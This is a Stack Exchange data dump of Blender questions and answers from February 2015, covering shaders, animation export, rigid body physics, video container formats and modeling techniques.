  <row Id="24740" PostTypeId="2" ParentId="24739" CreationDate="2015-02-14T12:39:10.583" Score="6" Body="&lt;p&gt;You entered a link on your desktop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the image editor to the executable &lt;code&gt;C:\Program Files\Krita (x64)\bin\krita.exe&lt;/code&gt; (or where you have installed Krita)&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-14T12:39:10.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24741" PostTypeId="1" CreationDate="2015-02-14T13:00:57.053" Score="5" ViewCount="379" Body="&lt;p&gt;I would like to get a value between 0 and 1 of the distance between the mesh bounds in an axis (Y), depending on the X value. not sure this is crystal clear but the screenshot says more than words :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/19W6E.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the result should look like this (roughly) and be the same moving, rotating or scaling the object.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ktNSz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I want that to be done with math and vector nodes in a shader, no script.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-14T15:55:12.937" LastActivityDate="2015-02-14T15:55:12.937" Title="Need normalized distance between geometry bounds" Tags="&lt;nodes&gt;&lt;shaders&gt;&lt;mathematics&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24742" PostTypeId="2" ParentId="24741" CreationDate="2015-02-14T14:21:29.483" Score="1" Body="&lt;p&gt;The closest thing I found is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1zvRX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The diagonal highlights can be edited in the UV map&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R1ZM8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-14T14:21:29.483" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="24743" PostTypeId="1" AcceptedAnswerId="24855" CreationDate="2015-02-14T14:32:43.977" Score="0" ViewCount="1319" Body="&lt;p&gt;I've appended a character object(along with armature) to a project. After animating a bit, I found something I wanted to improve upon in the character armature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the orignal character object in blend #1 and my current project(where I've appended to) we'll call blend #2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make changes in the armature in blend #1 and reload/update the armature in blend #2, while keeping the existing animation (animation that was in blend #2)?&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2015-02-14T15:28:58.933" LastActivityDate="2015-02-16T12:08:34.237" Title="How to update appended object/armature, while keeping existing animation?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;&lt;linked-data&gt;&lt;append&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24745" PostTypeId="1" CreationDate="2015-02-14T14:49:56.453" Score="0" ViewCount="34" Body="&lt;p&gt;My question is in the video following this, but pretty much I need to know how to take the position of points from one side of my object and apply them to the other side without doing every one manually. thanks for the help here is the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=ZBbnMvKVW1s&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=ZBbnMvKVW1s&amp;amp;feature=youtu.be&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11552" LastActivityDate="2015-02-14T14:49:56.453" Title="Need Help Appplying Position of Verticies To another" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24746" PostTypeId="1" AcceptedAnswerId="24779" CreationDate="2015-02-14T16:16:06.057" Score="6" ViewCount="4927" Body="&lt;p&gt;I'm getting these weird black shadows on my rendered image of this mailbox I'm making. Here's a &lt;a href=&quot;http://www.pasteall.org/blend/34407&quot; rel=&quot;nofollow noreferrer&quot;&gt;link to the file&lt;/a&gt; and a &lt;a href=&quot;https://www.youtube.com/watch?v=4cBN_YGXNf0&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow noreferrer&quot;&gt;link to YouTube&lt;/a&gt; so you can see what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4quQY.png&quot; alt=&quot;mailbox&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to mess with the normals and removed all doubles and this is what I was able to come up with. That will still not go away unless I change the texture to diffuse, and it's not a shadow: I've moved my lights and camera trying to see but it wasn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So did all that stuff and still no luck, It did make it look better but on the angle that I want for the pic there is still an area. I have found that if I rotate the camera there are certain areas where this &quot;shadow&quot; does not occur. I also checked to see if maybe the letters or the top of the mailbox was casting a shadow in some way, but that was not. I also moved my light sources around, took away the floor, and added more objects around to see if it would work. Well it still has that unsightly shadow, although it does look better I'm just surprised there is no way to get rid of that black shadow that I know of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a pic of my current progress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ozFt6.jpeg&quot; alt=&quot;mailbox&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's kind of hard to see in that pic but at the bottom right corner there is still a weird shadow. Also I found if I take off the top there is an unsightly shadow on the top of the main mailbox mesh. And this is after I deleted duplicates and checked my normals, etc.&lt;/p&gt;&#xA;" OwnerUserId="11552" LastEditorDisplayName="user12855" LastEditDate="2015-06-04T06:12:51.213" LastActivityDate="2019-07-31T15:35:00.393" Title="Weird Black &quot;Shadows&quot; On Rendered Image" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24747" PostTypeId="1" AcceptedAnswerId="24782" CreationDate="2015-02-14T16:18:39.747" Score="4" ViewCount="3295" Body="&lt;p&gt;in my add on, every execution of my operator, I change my icon cursor. (see code)&#xA;I have to repeat these two lines of code in all operators or there is a solution to change icon when an operator is running?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self,context):&#xA;    bpy.context.window.cursor_set(&quot;WAIT&quot;)&#xA;    ....&#xA;    My code&#xA;    .....&#xA;&#xA;    bpy.context.window.cursor_set(&quot;DEFAULT&quot;)&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9525" LastActivityDate="2015-02-15T13:19:56.763" Title="Python : Change cursor icon" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24748" PostTypeId="2" ParentId="24746" CreationDate="2015-02-14T16:41:01.950" Score="0" Body="&lt;p&gt;You need to first remove doubles, then make normals consistent (in the edit mode-selecting all vertices). That should help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;AM&lt;/p&gt;&#xA;" OwnerUserId="11587" LastEditorUserId="241" LastEditDate="2015-02-14T17:16:58.310" LastActivityDate="2015-02-14T17:16:58.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24749" PostTypeId="2" ParentId="24746" CreationDate="2015-02-14T17:16:41.747" Score="3" Body="&lt;p&gt;That looks like it is because you have a glossy shader on your object.  What is happening is there is nothing for the glossy surface to reflect.  You are just seeing a reflection of the (almost) black world which is unrealistic, ugly, and boring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can fix this by adding an HDR environment texture or placing more objects in your scene&lt;/strong&gt;, that way there would be something interesting in the reflections, rather than black[ish] bleah.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Environment textures:&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To add an environment texture simply go to the node editor, choose &lt;em&gt;world&lt;/em&gt; as the type of shaders to edit at the bottom, and click &lt;em&gt;use nodes&lt;/em&gt;.  Then add an &lt;em&gt;environment texture&lt;/em&gt; texture node, load in a panoramic skydome &lt;a href=&quot;https://blender.stackexchange.com/a/15358/5705&quot;&gt;environment texture&lt;/a&gt;, and plug it into the &lt;em&gt;color&lt;/em&gt; input of the &lt;em&gt;background shader&lt;/em&gt;.  I am using Greg Zaal's &lt;a href=&quot;http://adaptivesamples.com/2014/03/29/pano-golden-gate/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Golden Gate&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ri8eE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Without environment texture:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Kwpiv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With environment texture:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6Fv6f.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the detail of the model and my car paint shader is &lt;em&gt;much&lt;/em&gt; more pronounced as the reflections are much more interesting and non-uniform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, now you can see that since the HDR is now lighting the scene (and the lighting for the scene is not meant to work with HDR lighting) it is a bit washed out.  You can fix this by making the HDR only affect the glossiness of things.  This is done by mixing a plain black background shader with the textured one based on the &lt;em&gt;is glossy ray&lt;/em&gt; output of a &lt;em&gt;light path&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/63Hdd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/63Hdd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;em&gt;(click image to view larger)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see I also added a few more nodes here, they just give more flexibility.  The &lt;em&gt;texture coordinate&lt;/em&gt; and &lt;em&gt;mapping&lt;/em&gt; nodes allow you to rotate the environment texture by adjusting the Z-rotation spinner.  And the &lt;em&gt;math &gt; multiply&lt;/em&gt; node could be plugged into the &lt;em&gt;strength&lt;/em&gt; of the background shader to get stronger shadows (brighter areas of the HDR will emit more light), I didn't feel that was necessary for this particular scene/texture combo so I didn't plug it in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So here is the final result, with a few more objects in the scene to further enhance the reflections:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4hoGX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-02-14T18:58:46.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24750" PostTypeId="1" CreationDate="2015-02-14T18:11:44.500" Score="2" ViewCount="2368" Body="&lt;p&gt;When I export the animation as fbx for UE4 there are lot of garbage animations some of which are 2 frames long and others are same length as the required animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I made a walk cycle of 180 frames with 30 fps and the exported animation was 40MB!!!&#xA;Lot of it was garbage animation in which the mesh was just twisted and deformed like hell, but my correct animation was somewhere among them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can anybody tell me how to avoid it? or how to manage and export multiple animations as fbx? I don't know anything about actions or NLA nor can i find any proper tutorial on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what i do is make the animation using keyframing , ik and directly select the armature and mesh and export is using FBX with selected objects , baked animation ,all actions ,NLA strips checked in export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please understand that I'm not trying to render animation in the blender but I actually want to export it , so I am looking for how does actions and NLA editor work in relation with fbx export&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please guide me&lt;/p&gt;&#xA;" OwnerUserId="11454" LastActivityDate="2017-02-02T21:09:51.910" Title="Exporting fbx animations includes Garbage (UE4)" Tags="&lt;animation&gt;&lt;export&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24751" PostTypeId="1" CreationDate="2015-02-14T18:11:56.283" Score="2" ViewCount="2516" Body="&lt;p&gt;I'd like to remap colours in Cycles the way one would have done in Blender Internal, such that I could take the output of the shader/material and change the range of colours to something else, say from a ramp.  This was how Blender Guru was able to change the texture map on his Realistic Earth so that the dark side of the planet had one texture, while the other did not.  Such a technique could also be used to affect the fac input on Mix Nodes, as well as parameters, such as Glossy 'Roughness'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried many things without achieving the results I desire, but I'm still new to Cycles.&lt;/p&gt;&#xA;" OwnerUserId="11316" LastActivityDate="2015-02-14T19:16:40.573" Title="How do I remap colors in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24752" PostTypeId="1" AcceptedAnswerId="24833" CreationDate="2015-02-14T19:07:24.990" Score="1" ViewCount="2359" Body="&lt;p&gt;[Blender 2.73a]&#xA;I have a scene, where a helmet is falling on a surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9evLZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is quite complex: high-poly helmet, every link in chainmail is a separate element and all this stuff are rigid bodies. I want them to act physically correct, that is why so. All modifiers and transformations are applied: objects are clean meshes. I've already done simulation tests with this model earlier (&lt;a href=&quot;https://www.youtube.com/watch?v=gszj0GUkigI&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=gszj0GUkigI&lt;/a&gt;), now I've updated the model and try to make a new simulation, but it fails:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hJMp6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surface (was a passive body plane first, now an active non-dynamic cube — doesn't matter) first collides, but then chains and helmet pass through it.&#xA;I've tried everything — no idea how to fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are screenshots of settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Helmet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bHghe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chainmail:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uFGOL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surface:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nZvyj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WjyzF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(all objects are real-size, high values of steps and iterations always well helped increase accuracy)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas, why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPD&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subdivided surface, increased steps to 1600 and solver iterations to 120. No luck&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NV8d0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11589" LastEditorUserId="11589" LastEditDate="2015-02-15T09:11:26.620" LastActivityDate="2015-02-15T23:20:36.363" Title="Rigid bodies passing through" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24753" PostTypeId="2" ParentId="24751" CreationDate="2015-02-14T19:16:40.573" Score="4" Body="&lt;h2&gt;It looks like what you are looking for its the color ramp node.&lt;/h2&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/onbS6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The color ramp node can take any value between &lt;code&gt;0&lt;/code&gt; and &lt;code&gt;1&lt;/code&gt; (values outside this range will be clamped to &lt;code&gt;0&lt;/code&gt; or &lt;code&gt;1&lt;/code&gt;) in it's &lt;em&gt;fac&lt;/em&gt; input socket.  And it will output the respective color from the gradient specified by the color swatches just like in BI.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the &lt;kbd&gt;&lt;code&gt;+&lt;/code&gt;&lt;/kbd&gt; and &lt;kbd&gt;&lt;code&gt;-&lt;/code&gt;&lt;/kbd&gt; buttons to add more swatches.&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;kbd&gt;&lt;code&gt;&amp;lt;-&amp;gt;&lt;/code&gt;&lt;/kbd&gt; button to flip the order of swatches.&lt;/li&gt;&#xA;&lt;li&gt;The color (and alpha value) of the selected swatch is set with the large color strip at the bottom of the node.&lt;/li&gt;&#xA;&lt;li&gt;You can adjust the exact position of the selected swatch with the &lt;em&gt;pos&lt;/em&gt; spinner.&lt;/li&gt;&#xA;&lt;li&gt;The alpha gradient is outputted through the &lt;em&gt;alpha&lt;/em&gt; output socket.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;So it could, as you mentioned, be used to adjust the affect of an image texture on a mix shader (the image texture could just get plugged directly into the mix shader if no color adjustment is needed though).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qIPPd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-14T19:16:40.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24754" PostTypeId="1" AcceptedAnswerId="24755" CreationDate="2015-02-14T19:27:02.337" Score="12" ViewCount="1056" Body="&lt;p&gt;I want to display all wire in a mesh, but if the edges are in a flat face that are not shown... Here's a little example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fJLRK.png&quot; alt=&quot;pic1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pY3Ba.png&quot; alt=&quot;pic2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know how to do that?&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="3127" LastEditDate="2015-02-17T16:13:53.293" LastActivityDate="2015-02-17T16:13:53.293" Title="How to display all mesh wire in flats faces?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;3d-view&gt;&lt;wireframe&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24755" PostTypeId="2" ParentId="24754" CreationDate="2015-02-14T19:36:41.997" Score="14" Body="&lt;p&gt;&lt;strong&gt;You need to use the draw all edges checkbox.&lt;/strong&gt; It is directly under the wire checkbox!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YTZqt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-02-14T19:36:41.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24756" PostTypeId="1" AcceptedAnswerId="24757" CreationDate="2015-02-14T20:05:23.733" Score="12" ViewCount="21879" Body="&lt;p&gt;I have a client that wants the render in .mp4 format. Using the Blender VSE, I rendered the image sequence into a movie using H.264, which I understand is MPEG-4, but Blender outputs the .avi extension instead. Why is this the case and is there any harm in renaming the extension to .mp4? When I rename the extension to .mp4 it seems to work just fine, but maybe there is some harm in doing this that I don't understand.&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="14" LastEditDate="2015-02-14T21:31:51.527" LastActivityDate="2017-10-18T05:24:49.143" Title="When exporting an H.264 video, why is the resulting file's extension .avi?" Tags="&lt;export&gt;&lt;video&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24757" PostTypeId="2" ParentId="24756" CreationDate="2015-02-14T20:33:08.057" Score="14" Body="&lt;p&gt;H.264 is a codec and MP4 is a file format. An H.264 stream can be contained in several different file formats, e.g. AVI, MP4 or MKV, and most file formats can handle several codecs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Video file formats, such as AVI, MP4 or MKV, can handle multiple streams, and most commonly contain one video stream, one or more audio stream(s) and possibly one or more subtitle stream(s).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply renaming an AVI file to MP4 won't make it an MP4 file, though most players will detact the actual format and ignore the filename extension. To convert an AVI to MP4, you'll need to re-multiplex it. Multiplexing is the process of combining the different streams into one file and write the proper metadata. This can be done without re-encoding the streams.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just had a quick look, and I can't find an option to save as MP4, and unless someone has a solution for that, it looks like you'll need an external program for this. If you need/want a GUI application, &lt;a href=&quot;http://fixounet.free.fr/avidemux/&quot;&gt;Avidemux&lt;/a&gt; will do nicely for simple re-multiplexing and even some filtering and re-encoding. If you're OK with commandline programs, I recommend &lt;a href=&quot;https://www.ffmpeg.org/&quot;&gt;FFmpeg&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-02-14T20:38:57.897" LastActivityDate="2015-02-14T20:38:57.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24758" PostTypeId="2" ParentId="24756" CreationDate="2015-02-14T20:50:39.363" Score="4" Body="&lt;p&gt;I believe blender can't export video using the MP4 container. If you export using the H.264 codec option under the Encoding panel, it gets wrapped with the AVI container.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4V03h.png&quot; alt=&quot;Problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest solution I've found is to export using the Quicktime container and the H.264 codec. Then convert it to the MP4 container using &lt;a href=&quot;http://ffmpeg.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;ffmpeg&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nj4mf.png&quot; alt=&quot;Solution&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ffmpeg -i INPUT.mov -vcodec copy -acodec copy OUTPUT.mp4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On OS X, you can check a video's container, regardless of its file extension in its &quot;Get Info&quot; dialog in Finder. Note the &quot;Kind&quot; and &quot;Codecs&quot; fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vddDK.png&quot; alt=&quot;OUTPUT.mp4 Get Info&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2015-02-14T20:59:33.903" LastActivityDate="2015-02-14T20:59:33.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24760" PostTypeId="1" AcceptedAnswerId="24763" CreationDate="2015-02-14T21:10:12.250" Score="1" ViewCount="665" Body="&lt;p&gt;I have used the Macro Recorder (&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Development/Macros_Recorder&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Development/Macros_Recorder&lt;/a&gt;) to record some actions in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how I can save the macro to a file so that I can use it again even after having closed Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="11252" LastEditorUserId="12" LastEditDate="2015-02-14T22:21:27.240" LastActivityDate="2015-02-14T22:21:27.240" Title="Saving Blender Macro to file" Tags="&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24761" PostTypeId="1" AcceptedAnswerId="26713" CreationDate="2015-02-14T21:28:54.300" Score="2" ViewCount="1273" Body="&lt;p&gt;I have a &lt;a href=&quot;http://www.pasteall.org/blend/34415&quot; rel=&quot;nofollow&quot;&gt;.blend&lt;/a&gt; showing an exact copy of the objects that are in my game, but just simplified without any models. I have a head, a torso, rigs for the head and torso, and collision bounds along with the floor. The floor will act as a map. I am trying to have things collide with only certain things, but it doesn't seem to work. In my game, I need the collision bounds to &lt;strong&gt;only&lt;/strong&gt; collide with &lt;em&gt;the map&lt;/em&gt;. The head and torso should not collide with anything &lt;strong&gt;except&lt;/strong&gt; &lt;em&gt;projectiles&lt;/em&gt; (the floor in the .blend provided). The projectiles should collide &lt;strong&gt;only&lt;/strong&gt; with the &lt;em&gt;map and the character (head and torso)&lt;/em&gt;. The .blend provided includes all the objects with names to help. Anything is appreciated, thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It seems like it does not work because of the parenting, I still need the parenting the way it is. Thus you need to make a script or do something in order to have the parenting not affect the collisions.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2015-03-01T19:01:58.643" LastActivityDate="2015-03-11T01:24:54.347" Title="Collision Bounds/Mask not working?" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24763" PostTypeId="2" ParentId="24760" CreationDate="2015-02-14T22:21:21.103" Score="1" Body="&lt;p&gt;The recorded macros are stored as small text blocks in the &lt;em&gt;Text Editor&lt;/em&gt; as &lt;em&gt;macro&lt;/em&gt;, Blender will incrementally add a numeric constant to these so take care to rename before saving. To execute the macro again, execute them from there.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2015-02-14T22:21:21.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24764" PostTypeId="1" CreationDate="2015-02-14T22:27:44.477" Score="1" ViewCount="631" Body="&lt;p&gt;How do I select a square area on a cube and extrude it into the plane to add depth? I need to make a hole in a cube but I can't affect the cube edges.&lt;/p&gt;&#xA;" OwnerUserId="11502" LastActivityDate="2015-02-14T22:36:26.097" Title="How do I select a square area on a cube and extrude it into the plane to add depth?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24765" PostTypeId="2" ParentId="24764" CreationDate="2015-02-14T22:36:26.097" Score="3" Body="&lt;p&gt;select the face click &lt;kbd&gt;i&lt;/kbd&gt; and move to resize the face&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then press &lt;kbd&gt;e&lt;/kbd&gt; and move inside the cube&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iDRu7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-14T22:36:26.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24766" PostTypeId="1" CreationDate="2015-02-14T22:48:52.170" Score="1" ViewCount="269" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eKzvZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I color in the space between the torus and the cylinder? I want to do this without changing the color outside the torus.&lt;/p&gt;&#xA;" OwnerUserId="11502" LastEditorUserId="12" LastEditDate="2015-02-15T02:36:48.523" LastActivityDate="2015-02-15T02:36:48.523" Title="Can I color the empty space between two objects?" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
